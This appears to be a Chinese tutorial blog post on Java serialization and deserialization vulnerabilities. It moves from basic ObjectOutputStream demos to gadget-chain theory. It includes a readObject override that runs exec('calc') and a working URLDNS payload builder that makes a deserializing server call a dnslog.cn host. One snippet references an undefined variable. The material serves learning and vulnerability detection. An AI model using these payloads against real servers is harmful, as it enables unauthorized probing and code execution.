配套课件地址:https://blog.csdn.net/mocas_wang/article/details/10762101
1. 概述
1.1 序列化与反序列化
序列化是指把Java代码转化为字节序列的过程;而反序列化时指把字节序列恢复为Java对象的过程。
序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例。
1.2 为什么要序列化与反序列化
我们知道,当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的。如何做到呢?这就需要Java序列化与反序列化了。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。
当我们明晰了为什么需要Java序列化和反序列化后,我们很自然地会想Java序列化的好处。其好处一是实现了数据的持久化,通过序列化可以把数据永久地保存到硬盘上(通常存放在文件里),二是,利用序列化实现远程通信,即在网络上传送对象的字节序列。
① 想把内存中的对象保存到一个文件中或者数据库中时候;
② 想用套接字在网络上传送对象的时候;
③ 想通过RMI传输对象的时候;
一些应用场景,涉及到将对象转化成二进制,序列化保证了能够成功读取到保存的对象。
1.3 几种常见的序列化和反序列化协议
-
XML&SOAP
XML 是一种常用的序列化和反序列化协议,具有跨机器,跨语言等优点。 SOAP(Simple Object Access protocol) 是一种被广泛应用的,基于 XML 为序列化和反序列化协议的结构化消息传递协议。
-
JSON(Javascript Object Notation)
-
Protobuf
2. 序列化反序列化代码演示
package com.baidu.demo2;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private String age;
public Person(String name, String age) {
this.name = name;
this.age = age;
}
public Person(){
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getAge() {
return age;
}
public void setAge(String age) {
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age='" + age + '\'' +
'}';
}
}
package com.baidu.demo2;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class Serialize {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("output.ser"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException {
Person person = new Person("zhangsan","十八");
//序列化
serialize(person);
}
}
package com.baidu.demo2;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class Unserialize {
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
Person unserializeobj = (Person)unserialize("output.ser");
System.out.println(unserializeobj);
}
}
从文件中读取反序列化数据
3. 序列化实现
3.1 Serializable接口的基本使用
通过 ObjectOutputStream 将需要序列化数据写入到流中,因为 Java IO 是一种装饰者模式,因此可以通过 ObjectOutStream 包装 FileOutStream 将数据写入到文件中或者包装 ByteArrayOutStream 将数据写入到内存中。同理,可以通过 ObjectInputStream 将数据从磁盘 FileInputStream 或者内存 ByteArrayInputStream 读取出来然后转化为指定的对象即可。
3.2 Serializable接口特点
-
序列化类的属性没有实现 Serializable 那么在序列化就会报错。
具体可以跟进 ObjectOutputStream#writeObject() 源码查看具体原因:
Exception in thread “main” java.io.NotSerializableException: com.example.seriable.Color
-
在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。
Cat是子类,Animal 是父类,Animal它没有实现 Serilizable 接口。
package com.baidu.demo3;
import java.io.Serializable;
public class Cat extends Animal implements Serializable {
private String name;
public Cat(){
System.out.println("Cat 无参数构造器调用。");
}
public Cat(String color, String name) {
super(color);
this.name = name;
System.out.println("Cat 有参数构造器调用");
}
@Override
public String toString() {
return "Cat{" +
"name='" + name + '\'' + super.toString() + '\'' +
'}';
}
}
package com.baidu.demo3;
import java.io.Serializable;
public class Animal {
private String color;
public Animal() {//没有无参构造将会报错
System.out.println("调用 Animal 无参构造方法");
}
public Animal(String color) {
this.color = color;
System.out.println("调用 Animal 有 color 参数的构造方法");
}
@Override
public String toString() {
return "Animal{" +
"color='" + color + '\'' +
'}';
}
}
package com.baidu.demo3;
import java.io.*;
public class TestMain {
private static final String FILE_PATH = ".\\super.bin";
public static void main(String[] args) throws Exception {
serialize();
unserialze();
}
public static void serialize() throws IOException {
Cat cat = new Cat("red","Tom");
System.out.println("[*]序列化前:" + cat.toString());
System.out.println("[*]开始序列化......");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
oos.writeObject(cat);
oos.flush();
oos.close();
}
public static void unserialze() throws Exception {
System.out.println("[*]开始反序列化.....");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
Cat ccc = (Cat)ois.readObject();
ois.close();
System.out.println("[*]反序列化后Cat对象:" + ccc);
}
}
无法获取到父类color的值。
如果Animal父类也实现了反序列化接口。
那么在反序列化的时候将不会调用父类的无参构造方法。
-
一个实现 Serializable 接口的子类也是可以被序列化的。
如图,子类未实现Serializable,父类实现了Serializable,子类可以被反序列化。
-
静态成员变量是不能被序列化.
序列化是针对对象属性的,而静态成员变量是属于类的。 -
transient 标识的对象成员变量不参与序列化
4. Java反序列化基础
-
理解序列化和反序列化
类比快递打包拆包,主要的形式有:原生、xml、json,有一些快递打包和拆包有特殊需求,如易碎品朝上。类比重写 writeObject 和 readObject。
-
为什么会产生反序列化漏洞
只要服务端反序列化数据,客户端传递类的 readObject 种代码会自动执行,给于攻击者在服务器上运行代码的能力。
-
反序列化漏洞表现形式
-
入口类的 readObject 直接调用危险方法。
-
入口类参数中包含可控类,该类有危险方法,readObject 时调用。
-
入口类参数种包含可控类,该类调用其他有危险方法的类,readObject 时调用。
比如定义类型为 Object,调用 equals/hashcode/toString。(重点:相同类型、同名函数、不停调用)
-
构造函数/静态代码快 static{} 等类加载时隐式执行。
- 反序列化链条件
所有类都需要实现 Serializable。
入口类(source):重写 readObject;参数类型宽泛 ;最好 jdk 自带;
调用链(gadget chain)
执行类(sink):rce、ssrf、文件写入…
4.1 java反序列化可能的形式
4.1.1 重写readObject、writeObject方法
jdk特性,如果在类中重写了readObject、writeObject方法,系统不会调用默认的readObject、writeObject方法,而是会调用重写之后的方法。这种情况比较少见,一般不会写这么危险的类。
一个例子:
package com.baidu.serializable;
import java.io.Serializable;
public class Cat implements Serializable {
private String name;
public Cat(){
System.out.println("Cat 无参数构造器调用。");
}
public Cat(String name) {
this.name = name;
System.out.println("Cat 有参数构造器调用");
}
@Override
public String toString() {
return "Cat{" +
"name='" + name + '\'' +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
//这里重写了readObject方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
package com.baidu.serializable;
import java.io.*;
public class TestMain {
private static final String FILE_PATH = ".\\super.bin";
public static void serialize() throws IOException {
Cat cat = new Cat("Tom");
System.out.println("[*]序列化前:" + cat.toString());
System.out.println("[*]开始序列化......");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
oos.writeObject(cat);
oos.flush();
oos.close();
}
public static void unserialze() throws Exception {
System.out.println("[*]开始反序列化.....");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
Cat ccc = (Cat)ois.readObject(); //调用反序列化方法。
ois.close();
System.out.println("[*]反序列化后Cat对象:" + ccc);
}
public static void main(String[] args) throws Exception {
serialize();
unserialze();
}
}
4.1.2 入口类参数中包含可控类,该类有危险方法,readObject时调用
共同条件:HashMap类和URL类都实现了Serializable
>入口类source(重写readObject、调用常见函数(hashCode、equals等)、参数类型宽泛、最好jdk自带)
Map<object,object>(接口)
HashMap或hashTable(接口实现类)
以HashMap为例去讲解,HashMap是Map接口的实现类,满足了重写readObject()、参数类型宽泛、jdk自带等条件。
找利用链的时候有类重写了hashCode()、equals()、toString()方法(这些都是Object类的方法),并且方法里有一些潜在的危险函数,且这个类被反序列化了,该类就可能是一个利用链上的类。
>调用链 gadget chain (相同名称,相同类型,不停调用 ???)
相同名称:HashMap和URL中都有hashCode()
**>执行类 sink(rce、ssrf、写文件等等) **
4.1.3 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
如上,套娃。
5. URLDNS链
如果服务器上存在一个反序列化的点/漏洞,我们把URLDNS的序列化数据传进去,我们就会收到一个DNSLOG请求,代表服务器存在反序列化漏洞。
反序列化Gadget Chain:(移花接木)
HashMap.readObject()
HashMap.putVal()
HashMap.hash() -> hash()调用hashCode(),因为传入对象是URL,所以调用URL.hashCode() ->
URL.hashCode() -> 调用getHostAddress()方法,发起DNSLOG请求。
对于URLDNS链来说,入口类是HashMap,执行类是URL。
目前遇到问题:
URLDNS链在序列化的时候就会触发DNSLOG请求,因为这里hashcode是-1,这段代码会触发dnslog请求。
if(hashCode != -1)条件不满足,执行handler.hashCode(this)方法,序列化时触发dnslog。
package com.baidu.serializable;
import java.io.*;
import java.net.URL;
import java.util.HashMap;
public class TestMain {
private static final String FILE_PATH = ".\\super.bin";
public static void serialize() throws IOException {
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
//这里不要发起请求
hashmap.put(new URL("http://62n11u.dnslog.cn"),1); //因为这里hashcode是-1,这段代码会触发dnslog请求
//这里把hashcode改为-1,通过反射修改已有对象属性。
System.out.println("[*]序列化前:" + cat.toString());
System.out.println("[*]开始序列化......");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
oos.writeObject(hashmap);
oos.flush();
oos.close();
}
public static void unserialze() throws Exception {
System.out.println("[*]开始反序列化.....");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
Cat ccc = (Cat)ois.readObject();
ois.close();
System.out.println("[*]反序列化后Cat对象:" + ccc);
}
public static void main(String[] args) throws Exception {
serialize();
//unserialze();
}
}
通过反射修改,实现序列化时不触发dnslog,反序列化触发dnslog。
package com.baidu.serializable;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class TestMain {
private static final String FILE_PATH = ".\\super.bin";
//序列化过程
public static void serialize() throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url = new URL("http://e4mvgk.dnslog.cn");
//这里不要发起请求,将hashCode默认-1改为其他值,如果是-1则会触发URL.hashCode()方法发起dnslog请求。
Class<? extends URL> c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");//hashCode变量是私有的,private,所以需要Declared
hashCodeField.setAccessible(true);
hashCodeField.set(url,1234);
hashmap.put(url,1); //把 url 放到 hashmap 里。
hashCodeField.set(url,-1);//这里把hashcode改为-1,通过反射修改已有对象属性。
System.out.println("[*]开始序列化......");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
oos.writeObject(hashmap);
oos.flush();
oos.close();
}
//反序列化过程
public static void unserialze() throws Exception {
System.out.println("[*]开始反序列化.....");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
ois.readObject();
ois.close();
}
public static void main(String[] args) throws Exception {
serialize();
unserialze();
}
}
效果:
URLDNS序列化具体执行过程:
去掉反射代码的话,就是做了一个把url对象put进hashmap中的操作。
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url = new URL("http://e4mvgk.dnslog.cn");
//这里不要发起请求,将hashCode默认-1改为其他值,如果是-1则会触发URL.hashCode()方法发起dnslog请求。
// Class<? extends URL> c = url.getClass();
// Field hashCodeField = c.getDeclaredField("hashCode");//hashCode变量是私有的,private,所以需要Declared
// hashCodeField.setAccessible(true);
// hashCodeField.set(url,1234);
hashmap.put(url,1);
// //这里把hashcode改为-1,通过反射修改已有对象属性。
// hashCodeField.set(url,-1);
System.out.println("[*]开始序列化......");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
oos.writeObject(hashmap);
oos.flush();
oos.close();
对于hashmap.put(url,1);
会发起dnslog请求详细解释:
put方法调用了putVal(url,1)把url对象存了进去。
url对象进入hash()方法
hash()方法接收了url对象参数
正常来讲,这里调用了URL.hashCode() 后面会执行dnslog,所以我们需要在这里调用反射把hashCode的值改掉,这样在下面这个图里hashCode的值设置为了不等于-1,就不会执行后面的handler.hashCode(this)了,也就不会触发dnslog。
URLDNS反序列化利用链具体执行过程:
反序列化Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode(URL) -> getHostAddress(URL)
触发类(URLStreamHandler) 请求dnslog
1、调用入口类HashMap.readObject()
2、HashMap.readObject()调用HashMap.putVal()。
3、HashMap.putVal()调用HashMap.hash()。
4、HashMap.hash()调用URL.hashCode()
因为传入的Object对象是URL,所以直接调用了不同类的同名函数URL.hashCode()。
5、URL.hashCode() -> handler.hashCode(this) ->getHostAddress(u)
小总结
- 对于URLDNS链来说,入口类是HashMap,执行类是URL。
- 因为在序列化的时候hashmap对象调用put方法会把hashCode变量值为-1,会触发执行类URL的DNSLOG请求方法,所以在put前需要调用反射将hashCode变量值改为其他值,
hashcode.put(url,1)
执行完之后再将hashCode变量值改为-1,只有值为-1才可触发URL类中的dnslog请求方法。 - 对URLDNS链来说,不同类的同名函数是hashCode()。
参考:白日梦组长